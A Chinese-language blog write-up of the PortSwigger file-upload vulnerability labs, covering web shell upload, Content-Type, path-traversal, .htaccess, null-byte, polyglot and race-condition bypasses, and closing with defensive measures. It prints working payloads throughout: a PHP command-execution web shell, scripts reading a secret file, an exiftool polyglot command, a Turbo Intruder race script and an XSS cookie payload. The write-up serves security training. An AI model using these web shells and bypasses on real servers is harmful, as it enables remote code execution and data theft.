文章博客地址:PortSwigger文件上传漏洞
前言:其实也算是很早就听说了文件上传漏洞,并在一些CTF比赛中做了一些题目,再刷一遍port的吧
那毕竟还是看漏洞,从是什么,怎么利用,原理,绕过,防御看。
简单来说,文件上传漏洞,一张图就能明白了
这里的文件上传如果没有严格规定必须上传jpg,png格式。或者换句话说,在某个web开发环境当中,上传点没有做严格的要求,那么别人可以任意上传文件,轻则数据泄露,重则Web Shell。
webshell
<?php echo system($_GET['command']); ?>
说这个话似乎有些搞笑了,确实我也承认,有文件上传的地方就很可能存在文件上传漏洞。
但是真正的判定标准实际上是在抓包之后的。
文件上传漏洞的影响通常取决于两个关键因素:
网站未能正确验证文件的哪个方面,无论是其大小、类型、内容等。
成功上载文件后,会对文件施加哪些限制。
最坏的当然是对类型没有过滤,前文也说了,造成Web Shell。
如果未正确验证文件名,则攻击者可能仅通过上传具有相同名称的文件来覆盖关键文件。
如果先前已经对服务器进行了目录遍历,那么攻击者还可以将文件投放到很多恶意的地方。
如果不能确保文件大小在预期的阈值内,还可能引发一种拒绝服务(DoS)攻击,攻击者会利用这种攻击填满可用磁盘空间。
先看一个基础的文件上传案例
Lab: Remote code execution via web shell upload
界面长这样↓↓
上传文件并抓包,这里我们上传恶意文件1.php
文件代码内容-------->获取该路径的文件内容
<? php echo file_get_contents('/home/carlos/secret') ?>
查看抓包内容
我们在burpsuite中查看发送1.php之后的样子,发现成功获取到了该路径文件的内容。
限制上传类型,也就是我们之前所说的
Content-Type
来看配套的靶场练习:Lab: Web shell upload via Content-Type restriction bypass
在这一种情况下我们来看一看,直接上传php恶意webshell能得到什么回显。
很明显发包回显是错误,而且php脚本并未被执行,报错显示:你只能提交Content-Type=image/jpeg的东西,其他都不行
,那么咱们就依它呗,那我修改一下发送php webshell的代码,将Content-Type修改为image/jpeg(前后顺序不可以倒过来)
,然后再上传php恶意webshell,嘿嘿,就成功啦!
之后再访问webshell当中的路径即可。
这类防御一般与**上面讲到的“2. 当服务器限制了上传类型时”**是同时使用的
那么这个白名单啊,其实也不难理解。什么是黑名单呐?黑名单就是不让你通过的用户、脚本、命令等等等,那么白名单想法,是让你通过的用户、命令、脚本balabala……
这类防御将一些自己写好的脚本写入白名单,那么我们在上传恶意的webshell的时候就无法对服务器产生影响了,是一种不错的防御手段。但是这类白名单的脚本通常只对上传路径有效,比如在这个靶场当中,只对上传的有效,如果我们换一个地方?爆破出某一个未加防护的网页,不就可以了吗~
那这类"自己写好的脚本"啊,或许会长这样
GET /static/exploit.php?command=id HTTP/1.1
Host: normal-website.com
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 39
<?php echo system($_GET['command']); ?>
很明显,这总得出点问题吧,你这自己写了webshell,别人不打你?天理难容啊,但是说实话,这一脚本也确实起了一些关键性的作用,我们来看配套的靶场:
Lab: Web shell upload via path traversal
原本我们写的webshell是
<? php echo file_get_contents('/home/carlos/secret'); ?>
结果我们的这个代码(?)反而被服务器打印出来了,啊这,再思考思考。
那么结果之前的思路,换一个地方打它。这里要用到一些目录遍历的知识
正常回显,并没有什么用
通过对正斜杠()字符进行URL编码来模糊目录遍历序列
最终的payload:
filename="..%2fexploit.php"
终于解决啦!之前我本人在这道题目上卡了好久,是因为payload当中的全角/半角搞混了,然后一直出不来结果。大家要注意~
有时为了防止恶意的webshell文件上传,我们通常会对上传的文件进行黑名单的设置比如.php
,.jsp
,.html
这些文件扩展名会被直接加至黑名单里面。
但是对于.html文件我们常常可以通过.shtml来替代,.php文件可以通过.php5文件来代替,那如果服务器对这类文件没有做出严格的封禁策略时,容易被攻击。
而对于这一漏洞的应用,一般都是服务器的黑名单只过滤了.php
的文件,但并没有过滤.htaccess
。这边简单介绍一下.htaccess的作用:
一般.htaccess可以用来留后门和针对黑名单绕过,创建一个txt写入
AddType application/x-httpd-php .png
打开另存为,保存类型为所有文件,可以让png解析为php,还可以把png改成其他图片格式--->例如jpeg、gif等等...
我们来看port的这道靶场,加强理解
Lab: Web shell upload via extension blacklist bypass
直接上传shell.php,这次被挡在门外了,怀疑是被黑名单ban了,尝试黑名单有没有ban.htaccess
文件。
接着我们尝试上传.htacess类型的文件,在.htacess文件中事先编辑好payload
AddType application/x-httpd-php .l33t
这里payload的意思就是,会将.l33t
后缀的文件解析成php格式的文件,那么我们发送shell.l33t的时候,就自动转换成了shell.php成功绕过了黑名单!
上传,并修改Content-Type:Content-Typetext/plain
之后再发包
!将之前的shell.php修改为shell.l33t之后再发一次包,得到答案
说到混淆文件名的绕过,大家蛮熟悉的一种应该是SQL注入的双写绕过,以及对于waf的大小写绕过。对文件上传漏洞当中,也存在这种类似的绕过方法。
常用的几种绕过方式
.php
很有可能被过滤,那么在.php
被过滤之后,剩下的就是shell.php,成功上传我们来看这一道配套靶场
Lab: Web shell upload via obfuscated file extension
日常先上传shell.php试探一手
回显"Sorry, only JPG & PNG files are allowed",我们先尝试着使用之前的绕过方法绕过一下。
这里尝试第一种绕过————多个扩展名绕过,filename=shell.php.jpg
,再抓包看的时候发现,shell.php.jpg并没有得到想要的效果。
再尝试其他的绕过姿势,得到最后的payload:
filename="shell.php%00.jpg"
成功上传,访问/files/avatars/<YOUR-IMAGE>
即可
更安全的服务器不是隐式信任请求中指定的内容,而是尝试验证文件的内容是否与预期内容是否实际匹配,也就是检查Content-Type
是否匹配。
对于图像上传功能,服务器可能会尝试验证图像的某些固有属性,例如其尺寸。例如,如果您尝试上传PHP脚本,则它根本不具有任何维度。因此,服务器可以推断出它不可能是图像,并相应地拒绝上传。
同样,某些文件类型可能始终在其页眉或页脚中包含特定的字节序列。这些可以像指纹或签名一样使用,以确定内容是否与预期类型匹配。例如,JPEG文件始终以FF D8 FF字节开头。用到最常用的工具为exiftool/exiftool: ExifTool meta information reader/writer (github.com)
这一道靶场:Lab: Remote code execution via polyglot web shell upload
还是老方法,先上传一下shell.php的文件,看回显如何
OK,回显:file is not a valid image
我们尝试着用上文所写的方法进行绕过,这里所用到的工具为exitool,使用命令,让其自动创建一个以jpg文件FF D8 FF
开头,但扩展名为.php的文件。使用命令之前要先在仓库同目录下创建一个jpg文件,再执行命令
./exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php
这里的polyglot.php就是我们所需要的文件,上传即可
在众多乱码中找到我们需要的那一个即可~!
在port原文中出现了race condition
这个词,计算机术语把它翻译成竞争条件/征用条件,要想知道如何利用竞争条件执行文件上传漏洞,就要先弄懂竞争条件是什么,这里浅谈一下:
竞争条件(Race Condition):计算机运行过程中,并发、无序、大量的进程在使用有限、独占、不可抢占的资源,由于进程无限,资源有限,产生矛盾,这种矛盾称为竞争(Race)。竞争条件(Race Condition)旨在描述一个系统或者进程的输出依赖于不受控制的事件出现顺序或者出现时机。由于两个或者多个进程竞争使用不能被同时访问的资源,使得这些进程有可能因为时间上推进的先后原因而出现问题。
在文件上传当中,当我们上传恶意的webshell的时候,有些服务器会采用沙箱的手段判断文件是否存在危害,若存在危害则删除,而从判断---->删除这中间,webshell就占用了"race condition",也就是利用这短短的几秒钟,我们进行攻击。
Lab: Web shell upload via race condition
照常,我们先直接上传shell文件,失败之后,报错提示"Sorry, only JPG & PNG files are allowed"----->于是乎,我们将shell.php加上.jpg的扩展名,进行攻击。
再抓取包:GET /files/avatars/shell.php.jpg HTTP/1.1
之后,选中post请求并Send it Turbo
使用port提供的payload:将其中的替换成自己的
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,) request1 = '''<YOUR-POST-REQUEST>''' request2 = '''<YOUR-GET-REQUEST>''' # the 'gate' argument blocks the final byte of each request until openGate is invoked engine.queue(request1, gate='race1') for x in range(5): engine.queue(request2, gate='race1') # wait until every 'race1' tagged request is ready # then send the final byte of each request # (this method is non-blocking, just like queue) engine.openGate('race1') engine.complete(timeout=60)def handleResponse(req, interesting): table.add(req)
再点击最下面的Attack,就可以获取到答案了~
如果网站允许上传.html,.jsp文件时,就可以与xss相配合攻击,类似的payload有:alert(document.cookie)
在知道服务器解析基于XML的文件,如Microsoft Office或文件,这可能是XXE注入攻击的潜在媒介。
PUT /images/exploit.php HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-httpd-phpContent-Length: 49<?php echo file_get_contents('/path/to/file'); ?>
设置白名单,对允许上传文件的扩展名进行筛选。
确保文件名不包含任何可能被解释为目录或遍历序列的子字符串,也就是../这种方式的绕过,具体见靶场例子Web shell upload via path traversal。
重命名上载的文件,以避免可能导致现有文件被覆盖的冲突。
检查.htacess是否使用,以及是否存在被利用的可能性。
尽可能使用已建立的框架来预处理文件上载,而不是尝试编写自己的验证机制。
在完全验证文件之前,不要将文件上载到服务器的永久文件系统,可以事先使用沙箱进行文件检查。